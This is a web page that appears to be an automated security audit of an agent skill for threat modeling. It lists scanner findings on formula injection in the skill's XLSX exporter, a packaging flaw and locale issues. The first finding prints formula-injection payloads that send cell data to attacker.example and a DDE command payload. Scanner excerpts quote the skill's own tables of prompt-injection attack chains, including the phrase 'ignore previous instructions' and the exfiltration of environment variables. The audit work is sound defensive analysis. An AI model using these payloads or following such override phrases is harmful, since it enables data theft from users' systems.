Back to skill

Security audit

Li Maestro Evaluate

Security checks for vulnerabilities and agentic risk

Overview

This skill is a disclosed threat-modeling workflow that writes local assessment reports, but users should handle generated reports and Excel exports carefully.

Install only if you are comfortable sending assessment inputs, architecture details, and any reviewed source code to your AI provider. Treat the generated threat-model files as sensitive local records. Avoid opening XLSX exports from adversarial or untrusted assessment inputs until formula-prefix sanitization is added, or use Markdown/DOCX output instead. Review pip dependency installation in your normal controlled environment.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/generate_xlsx.py:187
Finding

Spreadsheet Formula Injection Through Untrusted Report Data

Content
View full analysis
= 13 else t + [""] * (13 - len(t)) ws1.append(row) ``` The same unsafe data flow also affects mitigation records: ```python mitigations = _parse_table_rows(phase7, ["Mitigation ID", "Catalog ID"], 4) for m in mitigations[:300]: row = m[:8] if len(m) >= 8 else m + [""] * (8 - len(m)) ws3.append(row) ``` ### Technical Analysis The exporter reads Markdown threat and mitigation tables and writes their cells directly into an XLSX workbook without neutralizing spreadsheet formula prefixes. In `openpyxl`, a string beginning with `=` is stored as a formula rather than as literal text. The Skill explicitly processes untrusted project source code and user-supplied assessment information. Values derived from such content can consequently propagate into `06-threat-register.md`, `07-mitigations.md`, or `01-mvtm-checklist.md`, and then into the generated workbook. Potentially dangerous values include: ```text =HYPERLINK("https://attacker.example/collect?data="&A1,"Open report") =WEBSERVICE("https://attacker.example/collect?value="&A1) =CMD|' /C calc'!A0 ``` Actual behavior depends on the spreadsheet application, platform, security configuration, protected-view settings, and whether external content or legacy DDE features are enabled. The vulnerability does not itself execute operating-system commands during workbook generation. ### Attack Path 1. An attacker places a crafted value beginning with `=` into source material, project metadata, architecture descriptions, threat names, mitigation descriptions, or other assessment input. 2. The AI assessment process copies or summarizes the crafted value into a Markdown table in `06-threat-r ...[truncated 1439 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Note
Location
scripts/package.py:20
Finding

Packaging Script Archives the Entire Skill Directory Instead of the Allowlist

Content
View full analysis
Remediation
View remediation
Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Output HandlingUnvalidated Output Injection, Cross-Context Output, Unbounded Output
  • System Prompt LeakageDirect Leakage, Indirect Extraction, Tool-Based Exfiltration
Findings (33)

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

The documented purpose is conversational threat modeling, but the behavior reportedly includes packaging/archive operations unrelated to that purpose. Description-behavior mismatch is dangerous because reviewers may approve a skill for a benign assessment use case while it also performs extra filesystem/archive actions that expand the attack surface.

Content

No source excerpt is available for this finding.

YARA rule 'agent_skill_prompt_injection_hidden_instructions': Prompt injection or hidden instructions embedded in AI agent skill text [agent_skills]

High
Category
YARA Match
Confidence
80% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · SKILL.md (reported line 5)May include surrounding context.

md
---
name: li_maestro_evaluate
version: 1.0.3
author: 北京老李(BeijingLL)
description: "Interactive Q&A Threat Modeling — conversational CSA MAESTRO risk assessment for agentic AI systems AND OpenCode Skills (.md/.docx/.xlsx), with AI risk classification mapping to 《人工智能安全治理框架》2.0. Supports two analysis modes: MVTM Checklist (minimum viable threat model with Chinese regulatory extensions) and Full 10-phase assessment. | 基于CSA MAESTRO框架的交互式问答威胁建模评估,面向智能体AI系统及OpenCode Skill,输出多格式(.md/.docx/.xlsx)风险评估报告及AI安全风险分类对照表。支持MVTM检查表与全面评估两种模式。"
license: CC BY-NC-S

YARA rule 'agent_skill_mcp_tool_poisoning_metadata': MCP/tool metadata poisoning indicators in tool schemas or skill manifests [agent_skills]

High
Category
YARA Match
Confidence
80% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · SKILL.md (reported line 5)May include surrounding context.

md
---
name: li_maestro_evaluate
version: 1.0.3
author: 北京老李(BeijingLL)
description: "Interactive Q&A Threat Modeling — conversational CSA MAESTRO risk assessment for agentic AI systems AND OpenCode Skills (.md/.docx/.xlsx), with AI risk classification mapping to 《人工智能安全治理框架》2.0. Supports two analysis modes: MVTM Checklist (minimum viable threat model with Chinese regulatory extensions) and Full 10-phase assessment. | 基于CSA MAESTRO框架的交互式问答威胁建模评估,面向智能体AI系统及OpenCode Skill,输出多格式(.md/.docx/.xlsx)风险评估报告及AI安全风险分类对照表。支持MVTM检查表与全面评估

Instruction Override

High
Category
Prompt Injection
Confidence
90% confidence
Finding

This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 1774)May include surrounding context.

md
#### Layer S0 — Skill Content (Code + Prompt Hybrid Meta-Layer)
| Check | ID | Agentic Factors | Why This Matters for Skills |
|-------|-----|----------------|------------------------------|
| Does the skill's prompt instruction attempt to override or bypass system-level security policies? | SK-P1 | Non-Determinism, Autonomy | Skills are "prompt + code" hybrids — the prompt can instruct the model to ignore safety rules while the code executes the exfiltration |
| Does the skill's code exfiltrate data that its prompt component collected through social engineering? | SK-P2 | Autonomy, A2A Communication | Code reads data that prompt tricked user into revealing — pure code scan won't catch this |
| Does the skill declare runtime remote dependencies (URLs, unpinned packages)? | SK-R1 | Autonomy, Identity Management | Skill is clean on upload but pulls malicious payload at runtime — 2.9% of clawhub.ai skills have unverifiable dependencies, 21% in confirmed malicious samples |
| Can multiple installed skills produce harmful emergent behavior when activated together? | SK-C1 | A2A Communication, Autonomy | Individual skills pass review but their combined prompt+tool access creates unintended privilege escalation chains |

Direct Prompt Extraction

High
Category
System Prompt Leakage
Confidence
85% confidence
Finding

Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.

Content

Scanner excerpt · SKILL.md (reported line 1794)May include surrounding context.

md
| Can the model be manipulated to call wrong tools? | T6 | Autonomy |
| Can context window be filled with adversarial content to override instructions? | BV-1 | Non-Determinism |
| Can the model's reasoning chain (CoT) be manipulated? | BV-10 | Non-Determinism |
| Can crafted tool responses cause the model to leak system prompts? | BV-4 | A2A Communication |

#### Layer 2 — Data Operations
| Check | ID | Agentic Factors |

Instruction Override

High
Category
Prompt Injection
Confidence
80% confidence
Finding

This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 1875)May include surrounding context.

md
| 5 | **All**: Cascading Trust Failure | Single compromised component cascades through all trust relationships | "Compromised MCP server → agent memory poisoned → API keys stolen → infrastructure accessed" |
| 6 | **L3→L6→L7**: Confused Deputy | Agent with service account executes user's request across boundaries | "Agent uses service account → accesses Payment API → user triggers refund far exceeding their authority" |
| 7 | **L5→L7**: HITL Overwhelm + Trust | Reviewers flooded while agent manipulates user trust | "1000 refund requests/minute → reviewer rubber-stamps → fraudulent request approved" |
| **S1** | **S0→L1→L3**: Skill Prompt Override → Model → Tool | Skill prompt overrides system instructions → model follows skill's malicious instructions → tool call exfiltrates data | "Install skill with 'ignore previous instructions' → model executes skill's code → MCP tool writes data to attacker URL" |
| **S2** | **S0→L4→L6**: Skill Dependency → Infrastructure → Compliance | Skill pulls remote dependency at runtime → dependency contains backdoor → infrastructure compromised, compliance violated | "Skill npm install → malicious package exfiltrates env vars → service account credentials stolen → SOX violation" |
| **S3** | **S0→L7→L7**: Multi-Skill Collusion | Two individually safe skills produce harmful behavior when both installed | "Skill A (read notes) + Skill B (send HTTP) → combined they read user notes and exfiltrate them, though neither alone is dangerous" |

Instruction Override

High
Category
Prompt Injection
Confidence
80% confidence
Finding

This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 2076)May include surrounding context.

md
| 5 | **All**: Cascading Trust Failure | Single compromised component cascades through all trust relationships | "Compromised MCP server → agent memory poisoned → API keys stolen → infrastructure accessed" |
| 6 | **L3→L6→L7**: Confused Deputy | Agent with service account executes user's request across boundaries | "Agent uses service account → accesses Payment API → user triggers refund far exceeding their authority" |
| 7 | **L5→L7**: HITL Overwhelm + Trust | Reviewers flooded while agent manipulates user trust | "1000 refund requests/minute → reviewer rubber-stamps → fraudulent request approved" |
| **S1** | **S0→L1→L3**: Skill Prompt Override → Model → Tool | Skill prompt overrides system instructions → model follows skill's malicious instructions → tool call exfiltrates data | "Install skill with 'ignore previous instructions' → model executes skill's code → MCP tool writes data to attacker URL" |
| **S2** | **S0→L4→L6**: Skill Dependency → Infrastructure → Compliance | Skill pulls remote dependency at runtime → dependency contains backdoor → infrastructure compromised, compliance violated | "Skill npm install → malicious package exfiltrates env vars → service account credentials stolen → SOX violation" |
| **S3** | **S0→L7→L7**: Multi-Skill Collusion | Two individually safe skills produce harmful behavior when both installed | "Skill A (read notes) + Skill B (send HTTP) → combined they read user notes and exfiltrate them, though neither alone is dangerous" |

Instruction Override

High
Category
Prompt Injection
Confidence
90% confidence
Finding

This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 1917)May include surrounding context.

md
- **RPA Expense Agent** (playbook/10-case-studies.md): An RPA agent with payment tool access was manipulated via prompt injection to approve fraudulent expense reports. Illustrates T2/T6 in a concrete business context.
- **ElizaOS** (playbook/10-case-studies.md): A plugin-based agent framework where a malicious plugin compromised the entire agent ecosystem. Illustrates T13/BV-3 supply chain risks.
- **MCP Protocol** (playbook/10-case-studies.md): Tool invocation protocol vulnerabilities including client impersonation and rogue servers. Illustrates T40/T47.
- **OpenCode Skill Ecosystem** (clawhub.ai): Skills are "code + prompt" hybrid artifacts. 2.9% of published skills have unverifiable runtime dependencies; 21% of confirmed malicious skills use prompt injection to override system instructions while code executes data exfiltration. Illustrates S0-layer threats (SK-P1 through SK-R4) and cross-layer patterns S1-S3.

### Confirmation

Instruction Override

High
Category
Prompt Injection
Confidence
90% confidence
Finding

This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 2788)May include surrounding context.

md
- **RPA Expense Agent** (playbook/10-case-studies.md): An RPA agent with payment tool access was manipulated via prompt injection to approve fraudulent expense reports. Illustrates T2/T6 in a concrete business context.
- **ElizaOS** (playbook/10-case-studies.md): A plugin-based agent framework where a malicious plugin compromised the entire agent ecosystem. Illustrates T13/BV-3 supply chain risks.
- **MCP Protocol** (playbook/10-case-studies.md): Tool invocation protocol vulnerabilities including client impersonation and rogue servers. Illustrates T40/T47.
- **OpenCode Skill Ecosystem** (clawhub.ai): Skills are "code + prompt" hybrid artifacts. 2.9% of published skills have unverifiable runtime dependencies; 21% of confirmed malicious skills use prompt injection to override system instructions while code executes data exfiltration. Illustrates S0-layer threats (SK-P1 through SK-R4) and cross-layer patterns S1-S3.

### Confirmation

Instruction Override

High
Category
Prompt Injection
Confidence
90% confidence
Finding

This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 2856)May include surrounding context.

md
- **RPA Expense Agent** (playbook/10-case-studies.md): An RPA agent with payment tool access was manipulated via prompt injection to approve fraudulent expense reports. Illustrates T2/T6 in a concrete business context.
- **ElizaOS** (playbook/10-case-studies.md): A plugin-based agent framework where a malicious plugin compromised the entire agent ecosystem. Illustrates T13/BV-3 supply chain risks.
- **MCP Protocol** (playbook/10-case-studies.md): Tool invocation protocol vulnerabilities including client impersonation and rogue servers. Illustrates T40/T47.
- **OpenCode Skill Ecosystem** (clawhub.ai): Skills are "code + prompt" hybrid artifacts. 2.9% of published skills have unverifiable runtime dependencies; 21% of confirmed malicious skills use prompt injection to override system instructions while code executes data exfiltration. Illustrates S0-layer threats (SK-P1 through SK-R4) and cross-layer patterns S1-S3.

### Confirmation

Ae4

Medium
Category
analysis-evasion
Confidence
80% confidence
Finding

Suspicious Unicode normalization or mixed-script content

Content

No source excerpt is available for this finding.

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
94% confidence
Finding

The skill asks the agent to create/read many local files and maintain run state, but it does not declare an explicit permission/tool scope. That mismatch weakens user and platform control over what the skill may access and makes it harder to enforce least privilege or review the skill safely.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
88% confidence
Finding

The description states the skill maps outputs to China's 《人工智能安全治理框架》2.0 and emphasizes Chinese regulatory extensions as a core behavior. Because the skill is marked compatibility: all, this reads as a default locale/policy imposition rather than an explicitly optional or region-scoped mode.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

The skill is presented as an interactive assessment workflow, but it directs the agent to create directories/files and generate reports locally. This is a security-relevant side effect because it turns a conversational analyzer into a local file-manipulating tool, which can write sensitive data to disk and persist artifacts unexpectedly.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The section says China-specific override logic applies regardless of analysis_mode, which makes a jurisdiction-specific policy mandatory for all uses. There is no accompanying opt-in, locale selection, or restriction saying the skill is only for China-based or China-regulated systems.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
86% confidence
Finding

This section mandates China-specific acceptance and sign-off rules for residual risk decisions without indicating they are optional or only applicable in China-regulated contexts. That creates a natural-language policy issue because it enforces a locale-specific governance regime on all users by default.

Content

No source excerpt is available for this finding.

Unbounded Output

Medium
Category
Output Handling
Confidence
80% confidence
Finding

Output size or generation rate is not bounded. Unbounded output enables denial-of-service through resource exhaustion, log flooding, or context-window stuffing.

Content

Scanner excerpt · SKILL.md (reported line 1837)May include surrounding context.

md
| Can human reviewers be overwhelmed by agent output volume? | T10 | Autonomy |
| Can audit entries be selectively removed to hide attacks? | T23 | Identity Management |
| Are logs detailed enough to investigate agent incidents? | T44 | Autonomy |
| Can attacker flood logs with noise to hide malicious activity? | BV-12 | Autonomy |
| Can agent encode sensitive data in invisible output patterns? | BV-8 | Non-Determinism |

#### Layer 6 — Security & Compliance

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
87% confidence
Finding

The Phase 9 guidance treats China risk acceptance rules as the operative default for the workflow, including production-blocking and sign-off requirements. The file does not provide equivalent non-China branches or make this behavior contingent on user opt-in.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The skill instructs the environment to install Python packages and execute local scripts to generate .docx/.xlsx outputs. Package installation and script execution are high-risk capabilities because they can introduce supply-chain compromise, execute untrusted code, and exceed what users expect from a threat-modeling questionnaire.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The module docstring states the document follows Chinese risk report conventions and later the script generates headings, labels, and disclaimer text in Chinese throughout. This is a natural-language locale policy concern because the skill forces a specific language/locale with no opt-in, fallback, or explanation that it is limited to a China-specific deployment context.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The file hard-codes Chinese sheet names and legend/disclaimer content, and the usage/docstring presents this as the default behavior. Because no user opt-in or locale selection is provided, this is a natural-language locale policy concern under the rule for forced language choice.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
98% confidence
Finding

The workbook sheet titles, headers, severity descriptions, likelihood descriptions, and disclaimer text are all emitted in Chinese, but the script provides no mechanism for users to choose another language. This can violate language/locale policy when users are not given an explicit choice or the regional restriction is not justified in the file.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The script defines an allowlist and a filter function suggesting only specific files should be packaged, but the call to shutil.make_archive archives the entire source tree rooted at src and never uses the filter. This can unintentionally include sensitive or internal files in the distributed skill package, such as notes, test artifacts, temporary files, or secrets accidentally committed under the project root.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
98% confidence
Finding

The inline comments and helper function indicate selective inclusion, but the code behavior contradicts that documentation and packages everything under the source directory. This mismatch is dangerous because maintainers may rely on the documented behavior and unknowingly ship unintended files, increasing the chance of information disclosure and supply-chain leakage.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
83% confidence
Finding

This markdown file documents that the skill outputs reports under timestamped threat-models/... directories, and the later output structure confirms creation of many files. While file generation is central to the skill's purpose, the README does not explicitly warn users that running the skill will write potentially sensitive threat-model data to local storage.

Content

No source excerpt is available for this finding.

Static analysis

Detected: suspicious.prompt_injection_instructions

Prompt-injection style instruction pattern detected.

Warn
Code
suspicious.prompt_injection_instructions
Location
SKILL.md:1875